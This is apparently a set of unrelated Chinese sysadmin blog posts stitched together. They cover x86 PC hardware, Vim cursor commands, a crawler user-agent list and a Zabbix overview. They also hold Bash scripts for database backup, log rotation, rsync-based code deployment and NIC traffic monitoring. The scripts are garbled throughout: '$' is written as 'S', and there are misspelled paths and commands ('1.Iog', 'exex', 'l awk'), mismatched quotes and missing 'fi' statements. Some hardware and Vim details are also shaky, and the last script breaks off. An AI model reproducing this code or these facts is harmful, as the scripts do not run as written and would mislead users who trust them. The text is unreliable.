
暂无个人介绍
今天与大家分享学习一下关于计算机被忽略的底层x86机构。 大家接触BIOS的时候,都需要对PC架构有一定的认知。目前的PC架构绝大多数都是Intel的X86架构,貌似也是因为INTEL的这个X86架构早就了目前INTEL如日中天的地位。个人PC与公司网站的基础服务器都是X86,大型的应用平台都是X86,到处都是。 X86架构简单的介绍: 1:CPU,大家都不陌生的名词,中央处理器,计算机的核心大脑。 2: 北桥(North Bridge Chipset):北桥是电脑主板上的一块芯片,位于CPU插座边,起连接作用。北桥是个人电脑主板芯片组两枚大规模芯片中的一枚。北桥被用来处理高速信号、通常处理CPU(处理器)、RAM(内存)、AGP端口或PCI Express和南桥芯片之间的通信。北桥由于数据处理量大,一般都装有散热片或者散热风扇,目前很多主板已经将北桥芯片集成到CPU当中,但是基本的功能都是还在的。(任何平台都没有把北桥完全集成到CPU里,此处在这一点上有误解。目前不论是intel还是AMD APU系列,都是把北桥的数据总线直接交给了处理器完成,其余的全部北桥功能和南桥功能合并为新的单桥(PCH)。) 3:南桥芯片(South Bridge)是主板芯片组的重要组成部分,一般位于主板上离CPU插槽较远的下方,PCI插槽的附近,这种布局是考虑到它所连接的I/O总线较多,离处理器远一点有利于布线。 主要是作为I/O总线之间的通信,一般连接的都是低速设备,如USB,LAN,键盘控制器,鼠标等。同样的,目前很多南桥芯片也被集成了。 4: 内存是计算机中重要的部件之一,它是与CPU进行沟通的桥梁。计算机中所有程序的运行都是在内存中进行的,因此内存的性能对计算机的影响非常大。内存(Memory)也被称为内存储器,其作用是用于暂时存放CPU中的运算数据,以及与硬盘等外部存储器交换的数据。内存的分类:市场中主要有的内存类型有SDRAM、DDR SDRAM和RDRAM三种,其中DDR SDRAM内存占据了市场的主流,而SDRAM内存规格已不再发展,处于被淘汰的行列。目前市场上常用的内存为DDR,DDR SDRAM是Double Data Rate SDRAM的缩写,是双倍速率同步动态随机存储器的意思。个人对内存的理解,CPU是大脑,内存则是你的反应速度,虽然不是很恰当,但也凑合着理解。 5:显卡(Video card,Graphics card)全称显示接口卡,又称显示适配器,是计算机最基本配置、最重要的配件之一。显卡作为电脑主机里的一个重要组成部分,是电脑进行数模信号转换的设备,承担输出显示图形的任务。显卡接在电脑主板上,它将电脑的数字信号转换成模拟信号让显示器显示出来,同时显卡还是有图像处理能力,可协助CPU工作,提高整体的运行速度。显卡的使用对计算机的运行也是极重要的,专业显卡或者游戏显卡,不同的星卡没有好坏之分,而是侧重方向不同。 6:显示器接口 6.1、高清晰度多媒体接口(英文:High Definition Multimedia Interface,HDMI)是一种数字化视频/音频接口技术,是适合影像传输的专用型数字化接口,其可同时传送音频和影像信号,最高数据传输速度为4.5GB/s。优点:HDMI不仅可以满足1080P的分辨率,还能支持DVD Audio等数字音频格式,支持八声道96kHz或立体声192kHz数码音频传送,可以传送无压缩的音频信号及视频信号。HDMI可用于机顶盒、DVD播放机、个人电脑、电视游乐器、综合扩大机、数字音响与电视机。HDMI可以同时传送音频和影像信号。HDMI支持EDID、DDC2B,因此具有HDMI的设备具有“即插即用”的特点,信号源和显示设备之间会自动进行“协商”,自动选择最合适的视频/音频格式。 6.2、 VGA(Video Graphics Array)是IBM在1987年随PS/2机一起推出的一种视频传输标准,具有分辨率高、显示速率快、颜色丰富等优点,在彩色显示器领域得到了广泛的应用。不支持热插拔,不支持音频传输。通用VGA显示卡系统主要由控制电路、显示缓存区和视频BIOS(Basic Input Output System即基本输入输出系统)程序三个部分组成。 6.3、DisplayPort接口:高清数字显示接口。性能:从性能上讲,DisplayPort 1.1最大支持10.8Gb/S的传输带宽,HDMI 1.3标准能支持10.2G/s的带宽;另外,DisplayPort可支持WQXGA+(2560×1600)、QXGA(2048×1536)等分辨率及30/36bit(每原色10/12bit)的色深,1920×1200分辨率的色彩支持到了120/24Bit,超高的带宽和分辨率完全足以适应显示设备的发展。比HDMI更先进的是,DisplayPort在一条线缆上还可实现更多的功能。在四条主传输通道之外,DisplayPort还提供了一条功能强大的辅助通道。该辅助通道的传输带宽为1Mbps,最高延迟仅为500μs,可以直接作为语音、视频等低带宽数据的传输通道,另外也可用于无延迟的游戏控制。可见,DisplayPort可以实现对周边设备最大程度的整合、控制。而DisplayPort一开始则面向液晶显示器开发,采用“Micro-Packet Architecture(微封包架构)”传输架构,视频内容以封包方式传送,这一点同DVI、HDMI等视频传输技术有着明显区别。也就是说,HDMI的出现取代了模拟信号视频,而DisplayPort的出现则取代的是DVI和VGA接口。还有其他不同的接口,就不一一列出了,以后也会有所涉及。 7:网卡是工作在链路层的网络组件,是局域网中连接计算机和传输介质的接口,不仅能实现与局域网传输介质之间的物理连接和电信号匹配,还涉及帧的发送与接收、帧的封装与拆封、介质访问控制、数据的编码与解码以及数据缓存的功能等。计算机与外界局域网的连接是通过主机箱内插入一块网络接口板(或者是在笔记本电脑中插入一PCMCIA卡)。网络接口板又称为通信适配器或网络适配器(network adapter)或网络接口卡NIC(Network Interface Card),但是更多的人愿意使用更为简单的名称“网卡”。 8:声卡的基本功能是把来自话筒、磁带、光盘的原始声音信号加以转换,输出到耳机、扬声器、扩音机、录音机等声响设备,或通过音乐设备数字接口(MIDI)使乐器发出美妙的声音。 9:SATA(Serial Advanced Technology Attachment,串行高级技术附件)是一种基于行业标准的串行硬件驱动器接口,是由Intel、IBM、Dell、APT、Maxtor和Seagate公司共同提出的硬盘接口规范。SATA的优势:串行接口结构简单,支持热插拔,传输速度快,执行效率高。 使用SATA(Serial ATA)口的硬盘又叫串口硬盘,是未来PC机硬盘的趋势。Serial ATA采用串行连接方式,串行ATA总线使用嵌入式时钟信号,具备了更强的纠错能力,与以往相比其最大的区别在于能对传输指令(不仅仅是数据)进行检查,如果发现错误会自动矫正,这在很大程度上提高了数据传输的可靠性。 10:硬盘是电脑主要的存储媒介之一,由一个或者多个铝制或者玻璃制的碟片组成。碟片外覆盖有铁磁性材料。分类:硬盘有固态硬盘(SSD 盘,新式硬盘)、机械硬盘(HDD 传统硬盘)、混合硬盘(HHD 一块基于传统机械硬盘诞生出来的新硬盘)。 基本参数:容量:常用的笔记本容量一般为500G。转速:转速(Rotational Speed 或Spindle speed),是硬盘内电机主轴的旋转速度,也就是硬盘盘片在一分钟内所能完成的最大转数。转速的快慢是标示硬盘档次的重要参数之一,它是决定硬盘内部传输率的关键因素之一,在很大程度上直接影响到硬盘的速度。平均访问时间(Average Access Time)硬盘传输速率(Data Transfer Rate)缓存(Cache memory)是硬硬盘控制器上的一块内存芯片,具有极快的存取速度,它是硬盘内部存储和外界接口之间的缓冲器。 11:总线 11.1、PCI Express总线是一种完全不同于过去PCI总线的一种全新总线规范,与PCI总线共享并行架构相比,PCI Express总线是一种点对点串行连接的设备连接方式。 PCI Express以点对点的方式处理通信,每个设备在要求传输数据的时候各自建立自己的传输通道,对于其他设备这个通道是封闭的,这样的操作保证了通道的专有性,避免其他设备的干扰。传输速度:X1的速度为250M/S,而X16则是X1的16倍,即为4GB/S。 11.2、SPI是串行外设接口(Serial Peripheral Interface)的缩写。SPI,是一种高速的,全双工,同步的通信总线,并且在芯片的管脚上只占用四根线,节约了芯片的管脚,同时为PCB的布局上节省空间,提供方便,正是出于这种简单易用的特性,如今越来越多的芯片集成了这种通信协议,比如AT91RM9200SPI的通信原理很简单,它以主从方式工作,这种模式通常有一个主设备和一个或多个从设备,需要至少4根线,事实上3根也可以(用于单向传输时,也就是半双工方式)。也是所有基于SPI的设备共有的,它们是SDI(数据输入)、SDO(数据输出)、SCLK(时钟)、CS(片选)。11.3、USB,是英文Universal Serial Bus(通用串行总线)的缩写,而其中文简称为“通串线”,是一个外部总线标准,用于规范电脑与外部设备的连接和通讯。是应用在PC领域的接口技术。USB接口支持设备的即插即用和热插拔功能。 11.4、LPC全名:Low Pin Count;97年Intel发布的取代传统ISA BUS的一种新接口规范 以往为了连接ISA扩充槽、适配器、ROM BIOS芯片、Super I/O等接口,南桥芯片必须保留一个ISA BUS,并且连通Super I/O芯片,以控制传统的外围设备。 Intel所定义的PC接口,将以往ISA BUS的地址/数据分离译码,改成类似PCI的地址/数据信号线共享的译码方式,信号线数量大幅降低,工作速率由PCI总线速率同步驱动,虽然改良过的LPC接口一样维持最大传输值16MB/s,不过所需要的信号脚位数大幅降低25~30个,以LPC接口设计的Super I/O芯片、Flash芯片都能享有脚位数减少、体积微缩的好处,主板的设计也可以简化,这也就是取名LPC——Low Pin Count的原因。 12:超级输入输出芯片(SIO)一般位于主板左下方或者左上方。主要使用的芯片有Winbond、ITE,它为主板上的标准I/O接口提供控制处理功能。这里所说的“超级”是指它集成了PS/2键盘、PS/2鼠标、串口COM、并口LPT接口等处理功能,而这些接口都是计算机中的慢速I/O设备。它们全部位于主板后部右边。它的主要功能包括负责处理从键盘、鼠标、串行接口等设备传输来的串行数据,将它们转换成为并行数据,同时也负责并行接口、软驱接口数据的传输与处理。 13:BIOS是英文"Basic Input Output System“的缩略词,直译过来后中文名称就是"基本输入输出系统"。其实,它是一组固化到计算机内主板上一个ROM芯片上的程序,它保存着计算机最重要的基本输入输出的程序、开机后自检程序和系统自启动程序,它可从CMOS中读写系统设置的具体信息。 其主要功能是为计算机提供最底层的、最直接的硬件设置和控制。 14:电源分类:AT电源,ATX电源,SFX电源ATX电源:ATX电源主要有两个版本,一种是ATX1.01版,另一种是ATX2.01版。2.01版与1.01版的ATX电源除散热风扇的位置不一样外,它们的激活电流也不同。1.01版只有100mA,2.01版则有500mA~720mA。这意味着2.01版的ATX电源不会像1.01版那样"过敏",经常会受外界电压波动的影响而自行启动计算机。
介绍Vim光标移动命令,移动vim光标到行首、行跳转、vim匹配单词和匹配括号跳转,Vim翻页命令。 一、Vim光标移动简介 Vi/Vim中进行光标移动的命令是针对不同的操作单位而设计,不同的命令对应不同的操作单位。 在执行Vim光标移动命令时,首先要分清楚是采用哪种操作单位:一个字符、一个句子、一个段落、一行、一屏、一页。 确定操作单位后,需要确定命令重复执行的次数。Vim光标移动命令的操作对象范围计算公式为:操作范围 = 操作次数 x 操作单位 例如:5h命令表示左移5个字符,8w命令右移8个单词 二、Vim移动光标命令 2.1 上、下、左、右←h j↓ k↑ l→ Vim的上下左右移动光标命令是经过精心设计的,我们在使用编辑器时最常用的操作是下移光标。而键盘上的j、k按键使用最方便,所以分别用来作为下移、上移光标。h、l分别位于j、k的两侧,根据其所在方位用来实现光标的左移和右移。 2.2 行级移动0 移动光标到当前行行首$ 移动光标到当前行行尾^ 移动光标到当前行的第一个非空字符nG 移动光标到当前文件的第n行:n 移动光标到当前文件的第n行 (同上) tips: (1) Vim的命令中,0 表示行首,$ 表示行尾。可以回顾下Vim文本编辑命令汇总中提到的删除命令,里面就提到了0和$ (2) 移动光标到当前文件的第n行使用的命令:n是在vim尾行模式下执行的,所以输入完:n后需要按回车键执行命令 2.3 文件首尾移动gg 或 :0 移动光标到当前文件的第一行GG 或 :$ 移动光标到当前未经的最后一行 2.4 单词级移动w 或 W 移动到下一单词的开头b 或 B 移动到上一单词的开头e 或 E 移动到光标所在单词的末尾 vim单词级鼠标移动 W、B、E命令操作的单词是以空白字符(空格、Tab)分隔的字串比如字符串“str1-str2 str3-str4”,对W、B、E命令来说是两个单词,而对w、b、e命令来说则是四个单词 关于Vim单词和字串,可以参考Vim教程网文章Vim基于单词移动及其Vim单词、字串概念 2.5 匹配单词级移动 移动光标到 [匹配] 光标当前所在单词的下一个单词 移动光标到 [匹配] 光标当前所在单词的上一个单词 2.6 匹配括号移动% 移动光标到括号左半部分( 包括(、{、[ )对应右半匹配部分( )、}、] ) 2.7 段落级移动} 移动光标到当前段落的末尾{ 移到光标到当前段落的开头 2.8 屏幕级移动H 移动光标到屏幕的第一行M 移动光标到屏幕的中间一行L 移动光标到屏幕的最后一行 2.9 翻页Ctrl + f 向前滚动一页Ctrl + b 向后滚动一页Ctrl + u 向前滚动半页Ctrl + d 向后滚动半页 三、与其他命令联动 很多命令都可以和Vim教程网总结的vim光标移动命令连动 基本命令模式为: 例如,Vim命令0y$拆开分别表示:0移动光标到当前行首;y复制;$当前行尾。所以,命令0y$意味着复制光标当前所在行所有内容 例如,Vim命令ye,表示从当前位置拷贝到当前所在单词的最后一个字符
本脚本来自有学习阿铭的博文学习: 我的每天要做的工作就要备份数据库,需要涉及到Percona Xtrabackup,mysql数据库中最良心的公司,解决了很多mysql数据库的bug。废话多说,开始脚本 提示:本文中的S全部都$符 #!/bin/bash #用途:Shell多线程备份数据库的脚本。 #作者:Caron maktini #日期:2019年1月5日 #版本:v0.1 ##假设100个数据库的库名、host、port以及配置文件路径保存到了一个文件下,文件为/tmp/database.list ##格式:db1 10.1.1.2 3308 /data/mysql/db1/my.cnf ##备份数据库使用的软件是Percona Xtrabackup exex &> /tmp/mysql_bak.log if ! which innobackupex &> /dev/null then echo "安装Xtrabackup工具 " rpm -ivh xtrabackup.tar yum install -y percona-xtrabackup-24 if [ $? -ne 0 ] then echo "安装Xtrabackup工具,出现错误" exit 1 fi fi bakdir=/data/backup/mysql bakuser=admin bakpass=administrator function bak_data { db_name=$1 db_host=$2 db_port=$3 cnf=$4 [ -d Sbakdir/Sdb_name ] || mkdir -p Sbakdir/$db_name innobackupex --defaults-file=S4 --host=S2 --port = S3 --user=Sbakuser --password=Sbakpass Sbakdir if [ $? -ne 0 ] then echo `备份数据库$1出现问题` fi } fifofile=/tmp/$$ mkfifo $fifofile exec 1000<> $fifofile thread=10 for (( i=0;i<$thread; i++)) do echo >&1000 done cat /tmp/databases.Iist | while read line do read -u1000 { bak_data ' echo $line` echo >&1000 }& done wait exec 1000>&- rm -f $fifofile
工作,学习中虚拟机迁移,克隆,会出现网卡冲突的问题。看不到网卡配置文件。在/etc/sysconfig/net-scripts/下,查看文件情况:出现这样的情况,只有ifcfg-eth0的配置文件,没有ifcfg-eth2的配置文件。 解决方法:使用ip a命令查看网卡信息,记下ifcfg-eth2网卡的MAC地址。 将 /etc/sysconfig/network-scripts/目录中ifcfg-eth0命名为 ifcfg-eth2,重新修改配置文件,注意修改必要的硬件信息,将HWADDR信息添加到配置文件中。 最后重新启动网卡,即可解决问题。提醒:有是涉及UUID号也要添加到配置文件,看各自需要。
工作中常用的Linux两大远程工具SecureCRT 与 Xshell。这里为大家介绍一下解决SecureCRT 设置自动超时断开连接与中文乱码的方法 第一:解决自动断开的问题,工作中设置长时间不断开不行,也不能老是断开。下图中可自由设置连接时长: 第二: 解决中文乱码的问题以上三图都要设置,选择中文font,script。 仅供参考
本脚本来自有学习阿铭的博文学习:工作中,需要用到日志切割logrotate,按照各自的需要切割、定义保留日志。 提示:本文中的S全部都$符,不要问为什么,马云爸爸的社区就这样。 #!/bin/bash #用途:日志切割归档、按天切割 #作者:Caron maktini #日期:2018年12月15日 #版本:v0.1 logdir=/data/logs/ #定义函数如果一个文件存在则删除 function e_df() { if [ -f $1 ] then rm -f $1 } cd $logdir #从7到2,依次遍历循环 for i in `seq 7 -1 2` do #$i2比Si小1 i2=$[Si-1] #首先判断1.log.7是否存在,若存在则删除 e_df 1.log.$i #当1.log.6存在,则把1.log.6改名为1.log.7,依次类推 if [ -f 1.log.$i2 ] then mv 1.log.$i2 1.log.$i fi done #由于1.log 后面无后缀,所以不能走上面的for循环,只能另外拿出来处理 e_df 1.log.1 mv 1.log 1.log.1 #每日0点0分执行。 工作中还需要为大文件进行切割,一般工作中是100MB,并进行压缩。 第二脚本 #!/bin/bash #用途:日志切割归档、并压缩 #作者:Caron maktini #日期:2018年12月15日 #版本:v0.1 logdir=/data/logs/ #技术1.log大小 size=`du -sk $logdir/1.log | awk '{print S1}' #如果1.log小于l00MB,则退出脚本 if [ $size -lt 10240 ] then exit 0 fi #定义函数,如果一个文件存在,则删除 function e_df() { if [ -f $1 ] then rm -f $1 fi } cd $logdir #如果1.log.1存在,则先把它压缩为1 log.1.gz,这样下面的for循环才不会错 if [ -f 1.log.1 ] then gzip 1.log.1 fi #由于1.log.1已经被压缩为1.log.gz,所以可以直接将1.log改名为1.log.1 mv 1.log 1.log.1 #从7到2,倒序循环 for i in `seq 7 -1 2 ` do #$i2比Si小1 i2=$[Si-1] #首先判断1 log.7.gz是否存在,若存在删除 e_df 1.Iog. $i.gz #当1.log.6.gz存在,则把1.log.6.gz改名为1.log.7.gz,以此类推 if [ -f 1.Iog. $i2. gz ] then mv 1.Iog. $i2.gz 1.Iog.$i.gz fi done ##说明:由于我们需要按照日志大小切割,所以这个脚本写完后,需要每分钟执行一次,建议添加到公司的监控系统中。
爬虫用的user-agent。 Opera Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60 Opera/8.0 (Windows NT 5.1; U; en) Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.50 Firefox 火狐 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Safari Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 Chrome Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 360浏览器 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 淘宝浏览器 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11 猎豹浏览器 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)" QQ浏览器 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E) Sogou浏览器 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 SE 2.X MetaSr 1.0 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0) Maxthon浏览器 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36 UC浏览器 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 UBrowser/4.0.3214.0 Safari/537.36 移动浏览器大全================= IPhone Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5 **IPod** Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5 **IPAD** Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5 **Android** Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 **QQ浏览器 Android版本** MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 **Android Opera Mobile** Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10 **Android Pad Moto Xoom** Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 **BlackBerry** Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+ **WebOS HP Touchpad** Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0 **UC浏览器** UCWEB7.0.2.37/28/999NOKIA5700/ UCWEB7.0.2.37/28/999 **UC Opera** Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999
本文来自于51CTO学习分享。讲一个人的工作场景:面试被问到,你平时是怎么做运维工作的?不假思索,脱口而出的就是:监控。运维界的铁律之一就是:无监控,不运维。工作中网站挂了,客服电话都爆了,你做运维的还说,我这里不知道怎么回事呀?那老板一定会砍死你的。废话不多说,开始讲监控工具zabbix。 一、zabbix工作的架构 Zabbix是一个企业级的分布式开源监控解决方案。它能够监控各种服务器的健康性、网络的稳定性以及各种应用系统的可靠性。当监控出现异常时,Zabbix通过灵活的告警策略,可以为任何事件配置基于邮件、短信、微信等告警机制。而这所有的一切,都可以通过Zabbix提供的Web界面进行配置和操作,基于Web 的前端页面还提供了出色的报告和数据可视化功能。 这些功能和特性使运维人员可以非常轻松的搭建一套功能强大的运维监控管理平台。 1.1.zabbix应用组件 1、 Zabbix Server Zabbix Server是Zabbix的核心组件,是所有配置信息、统计信息和操作数据的核心存储器。也就是我们常说的监控采集器。负责被监控客户端的信息收发的报告和信息,同时,所有配置、统计数据及配置操作数据均由其组织进行。 2、Zabbix Database Storage 主要用于存储数据,所有配置信息和Zabbix收集到的 数据都被存储在数据库中。常用的存储设备有MySQL. Oracle. SQLite 等. 3、 Zabbix Web 界面 这是Zabbix提供的友好交互接口,通常(但不一定)与Zabbix Server运行在同一台物理机器上。 4、Zabbix Proxy代理服务器 这是一个可选组件,常用于分布监控环境中,代理Server可以替Zabbix Server收集性能和可用性数据,汇总后统一发往Zabbix Server端。 5、Zabbix Agent监控代理 Zabbix Agent部署在被监控主机上,能够主动监控本地资源和应用程序,并负责收集数据发往Zabbix Server端或Zabbix Proxy端。 1.2、zabbix服务进程 根据功能和用途,默认情况下zabbix包含5个进程, 分别是 zabbix_agentd、 zabbix_get、 zabbix_proxy、zabbix_sender、zabbix_server,另外还有一个zabbix_java_gateway是可选的功能,需要另外安装。 下面分别介绍下它们各自的作用。 1、zabbix_agentd zabbix_agentd是Zabbix Agent监控代理端守护进程多此进程收集客户端数据)例如cpu负载、内存、硬盘、网络使用情况等。 2、zabbix_get zabbix提供的一个工具,通常在Zabbix server或者Zabbix proxy端执行用来获取远程客户端信息,这其实是Zabbix server去Zabbix Agent端拉取数据的过程,此工具主要用来进行用户排错。例如在Zabbix Server端获取不到客户端的监控数据时,可以使用zabbix_get命令测试获取客户端数据来做故障排查。 3、zabbix_sender zabbix提供的一个工具,用于发送数据结Zabbix server或者Zabbix proxy,这其实是Zabbix Agent端主动推送监控数据到Zabbix Server端的过程,通常用于耗时比较长的检查或者有大量主机(千台以上)需要监控的场景。此时通过主动推送数据到Zabbix serve,可以在很大程度上减轻Zabbix server的压力和负载。 4、zabbix_proxy Zabbix Proxy的代理守护进程。功能类似Zabbix server,唯一不同的是它只是一个中转站,它需要把收集到的数据提交或者被提交Zabbix server上。 5、zabbix_java_gateway Zabbix之后引入的一个功能。顾名思义:Java网关,主要用来监控JAVA应用环境,类似zabbix_agentd进程。需要特别注意的是,它只能主动去推送数据,而不能等待zabbix server或者zabbix proxy来拉取数据。它的数据最终会给到zabbix server或者zabbix proxy 上。 6, zabbix_server Zabbix server是整个Zabbix系统的核心进程。其它进程 zabbix_agentd、zabbix_get、 zabbix_sender、zabbix_proxy、zabbix_java_gateway的数据最终都是提交到Zabbix server来统一进行处理。 1.3、zabbix监控术语 在zabbix监控系统中,有一些常用的术语,这些术语可能和其它监控系统的叫法不同,但含义相同,这里做下简单介绍。 1、主机(host) 表示要监控的一台服务器或者网络设备,可以通过I P或主机名指定。 2、主机组(host group) 主机的逻辑组;它包含主机和模板,但同一个主机组内的主机和模板没有任何直接的关联;主机组通常在给用户或用户组指派监控权限时使用。 3、监控项(item) 表示一个监控的具体对象,例如监控服务器的CPUF载、磁盘空间等、item是zabbix进行数据收集的核心,相对某个监控对象,每个item都由“key”来标识。 4、触发器(trigger) 其实就是一个监控阈值表达式,用于评估某监控对象接收到的数据是否在合理范围内;如果接收的数据大于阈值时,触发器状态将从“OK”转变为“Problem”,当接收到的数据低于阈值时,又转变为“OK”状态。 5、应用集(Applications) 一组监控项组成的逻辑集合。 6、动作(action) 指对于监控中出现的问题事先定义的处理方法,例如:发送通知,何时执行操作、执行的频率等等; 7、报警媒介类型(media) 表示发送通知的手段,告警通知的途径,如Email、短信或者SMS等; 8、模板 (template) 一组可以被应用到一个或多个主机上的实体集合,一个模板通常包含了应用集、监控项、触发器、图形、聚合图形、自动发现规则、Web场景等几个项目;模板可以直接链接到某个主机。 模板是为了实现批量、自动化监控,通常会将具有相同特征的监控项汇总到模板中,然后在主机中直接引用即可,实现快速监控部署。 下期将为大家分享关于安装部署zabbix监控平台的相关博文。
本脚本来自有学习阿铭的博文学习:工作中,生产环境中一个业务在跑在多台机器上,为的是负载均衡,高可用。如何让这些代码保持一致呢? 提示:本文中的S全部都$符,不要问为什么,马云爸爸的社区就这样。 #!/bin/bash #用途:代码上线的的shell脚本。 #作者:Caron maktini #日期:2018年11月27日 #版本:v0.1 #提醒用户,是否更新了要上线的代码列表文件 read -p "你是否已经更新了文件列表./file.list?确认请输入Y,或者按其他任意键退出脚本。" a #如果直接按回车,也会退出脚本 if [ -z "$a" ] then exit 1 fi if [ Sa == "y" -o $a == "Y" ] then echo "脚本将在2秒后,继续执行。" #每秒输出一个。共输出两个 for i in 1 2 do echo -n "." sleep 1 done echo else exit 1 fi #判断有无./rsync.exp文件 [ -f ./rsync.exp ] && rm -f ./rsync.exp #定义rsync. exp cat > ./rsync.exp << EOF #!/usr/bin/expect set passwd "密码" set host [lindex \$argv 0] set file [lindex \$argv 1] spawn rsync -avR --files-from=\$file / user#\S host:/ expect { "yes/no" {send "yes\r"} "password:" {send \$passwd\r} } expect eof EOF chmod a+x ./rsync.exp #定义检测文件是否存在的函数 if_file_exist() { if [ ! -f $1 ] then echo "文件$1不存在,请检查。" exit 1 } #ip.list为所有WEB机器的ip列表 #file.list为要同步的文件列表 for ip in `cat ./ip.Iis` do ./rsync.exp $ip ./file.Iist done #善后处理 rm-f rsync.exp #创建user01用户,并且保证user01用户对WED用户有写权限。
本脚本来自有学习阿铭的博文学习:公司网络偶尔出现网卡问题,将陷入业务瘫痪,造成不可挽回的损失。所以需要时常监控。提示:本文中的S全部都$符,不要问为什么,马云爸爸的社区就这样。 #!/bin/bash #用途:监控网卡流量的shell脚本。 #作者:Caron maktini #日期:2018年11月23日 #版本:v0.1 #要求如下:每分钟检测一次网卡的流量;当网卡流量为0时,重启网卡。 mail_user=admin@admin.com dir=/tmp/netlog [ -d Sdir ] II mkdir $dir s_m=`lsattr -d Sdir l awk ' {print $1} ' I sed 's/[^a]//g'` if [ $s_m != "a" ] then chattr +a $dir fi if ! rpm -q sysstat &> /dev/null then yum install -y sysstat fi sar -n DEV 10 I grep 'eth0 ' > /tmp/eth0_sar. Iog net_in=`grep ' ^Average: ' /tmp/eth0_sar.log l awk '{ print $5}'` net_out=`grep ' ^Average: ' /tmp/eth0_sar.log l awk '{ print $6}'` if [ ! -f $dir/net.log ] then echo"net_in $ net_in">> S dir/net. Iog echo"net_out $ net_out">> S dir/net. Iog exit 0 fi net_in_last=`tail-2 Sdir/net.Iog l grep 'net_in'` net_out_last=`tail-2 Sdir/net.Iog l grep 'net_out'` net_in_diff=`S [Snet_in-$net_in_last]` net_out_diff=`S [S net_out-Snet_out_last]' if [ Snet_in_diff -gt $net_in_last ] then python mail.py $mail_user "网卡入口流量増幅异常" "增幅Snet_in_dff" fi if [ Snet_out_diff -gt Snet_out_last ] then python mail.py $mail_user 